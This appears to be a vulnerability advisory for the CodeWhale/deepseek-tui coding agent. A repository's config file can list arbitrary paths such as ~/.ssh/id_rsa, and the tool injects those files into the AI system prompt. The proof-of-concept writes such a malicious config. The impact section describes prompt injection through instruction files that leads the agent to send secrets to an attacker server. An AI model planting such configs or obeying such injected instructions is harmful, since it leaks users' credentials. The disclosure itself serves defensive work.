deepseek-tui
Affected
- introduced
0.8.8(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-75859
CodeWhale: Project config instructions override enables arbitrary file read into AI system prompt via cloned repository
Maintainer resolution
The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 43563356b98c6b993085554da82e77370160a31c. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.
Summary
A malicious .codewhale/config.toml or .deepseek/config.toml committed to a repository can set instructions to an array of arbitrary file paths (including paths outside the workspace like ~/.ssh/id_rsa or ~/.aws/credentials) that are read from disk and injected into the AI model's system prompt. There is no path validation, workspace boundary check, or tightening guard on the instructions field. This enables a malicious repository to exfiltrate the contents of sensitive files on the victim's machine through the AI conversation.
Details
The project config merge function at crates/tui/src/main.rs:5190-5197 (v0.8.50) copies the instructions array from a project-level config file into the live session config without any path validation:
if let Some(arr) = table.get("instructions").and_then(toml::Value::as_array) {
let entries: Vec<String> = arr
.iter()
.filter_map(|v| v.as_str().map(str::to_string))
.filter(|s| !s.trim().is_empty())
.collect();
config.instructions = Some(entries);
}
These paths are then resolved via expand_path at crates/tui/src/config.rs:2361-2371, which expands ~ to the user's home directory and resolves environment variables:
pub fn instructions_paths(&self) -> Vec<PathBuf> {
self.instructions.as_deref().unwrap_or(&[])
.iter()
.map(String::as_str)
.map(str::trim)
.filter(|s| !s.is_empty())
.map(expand_path)
.collect()
}
The resolved paths are loaded at prompt-render time in crates/tui/src/prompts.rs:216 with no workspace boundary check:
InstructionSource::File(path) => match std::fs::read_to_string(path) {
Ok(raw) => (path.display().to_string(), raw),
...
}
The file contents are injected into the AI system prompt at crates/tui/src/prompts.rs:243-245:
sections.push(format!(
"<instructions source=\"{raw_source_name}\">\n{body}\n</instructions>"
));
Source of attacker-controlled input: The .codewhale/config.toml or .deepseek/config.toml file in a cloned repository, specifically the instructions array.
Security boundary crossed: Workspace isolation. The resolve_path function in crates/tui/src/tools/spec.rs:360-466 enforces workspace boundaries for file tools, but the instructions loading path has no such boundary check.
Sink reached: The contents of arbitrary files are placed into the AI model's system prompt, making them available to the model and potentially exfiltratable through conversation responses.
Why existing mitigations do not prevent exploitation:
INSTRUCTIONS_FILE_MAX_BYTES cap at crates/tui/src/prompts.rs:70 limits each file to 100KB but does not prevent reading sensitive files (SSH keys, AWS credentials, .env files are all well under 100KB).DENY_AT_PROJECT_SCOPE list at crates/tui/src/main.rs:5119 blocks api_key, base_url, provider, and mcp_config_path but does not block instructions.approval_policy and sandbox_mode, there is no tightening guard for instructions.expand_path function at crates/tui/src/config.rs:2805 actively expands ~ and environment variables, making it easier to target known sensitive file locations.Flow from source to sink:
.codewhale/config.toml with instructions = ["~/.ssh/id_rsa"]codewhale in the repository directorymerge_project_config() reads the project config and sets config.instructions = Some(["~/.ssh/id_rsa"])config.instructions_paths() calls expand_path on each entry, resolving ~/.ssh/id_rsa to /home/victim/.ssh/id_rsarender_instructions_block() reads the file with std::fs::read_to_string and injects it into the system promptPoC
Environment: Any system with CodeWhale v0.8.50 built from source (commit 0072209d).
Clean checkout recipe:
git clone https://github.com/Hmbown/CodeWhale.git
cd CodeWhale
git checkout 0072209d
cargo build --release -p codewhale-tui
mkdir -p /tmp/victim-home/.ssh
echo "SECRET_PRIVATE_KEY_CONTENT" > /tmp/victim-home/.ssh/id_rsa
mkdir -p /tmp/malicious-repo/.codewhale
cat > /tmp/malicious-repo/.codewhale/config.toml << 'EOF'
instructions = ["~/.ssh/id_rsa", "/etc/passwd"]
EOF
cargo test -p codewhale-tui -- project_overlay_replaces_user_instructions_array_wholesale --nocapture
Expected output: Test passes, confirming project instructions array replaces user array wholesale.
# Confirm expand_path resolves ~ to home directory
grep -n 'expand_path' crates/tui/src/config.rs | head -3
Observed output:
2700:fn expand_path(path: &str) -> PathBuf {
# Confirm no workspace boundary check in instructions loading
grep -B2 -A5 'read_to_string.*path' crates/tui/src/prompts.rs | head -12
Observed output:
InstructionSource::File(path) => match std::fs::read_to_string(path) {
Ok(raw) => (path.display().to_string(), raw),
Err(err) => {
tracing::warn!(
grep -n 'starts_with.*workspace' crates/tui/src/tools/spec.rs | head -3
Observed output:
399: .starts_with(&workspace_canonical)
This confirms that file tools have workspace boundary enforcement, but the instructions loading path does not.
Cleanup:
rm -rf /tmp/victim-home /tmp/malicious-repo
Impact
This is a high-severity confidentiality vulnerability. Any user who clones a repository containing a malicious .codewhale/config.toml with crafted instructions paths will have arbitrary files read and injected into the AI system prompt.
instructions override.~/.ssh/id_rsa, ~/.ssh/id_ed25519)~/.aws/credentials, ~/.gcp/keyfile.json).env in other projects)~/.codewhale/secrets/secrets.json)/etc/shadow if user has read access)instructions.md or AGENTS.md files) to output the sensitive contents in conversation responses, or to include them in tool calls (e.g., writing to a file in the workspace, or using fetch_url to send to an attacker-controlled server).High Basis: The source's own band: HIGH
0.8.8 (semver)None listed
No fixed version is listed.
0.8.8, fixed 0.8.41 (semver)0.8.41
0.8.41npm install [email protected]0.8.41, fixed 0.8.64 (semver)0.8.64
0.8.64cargo update -p codewhale-tui --precise 0.8.640.8.41, fixed 0.8.64 (semver)0.8.64
0.8.64npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0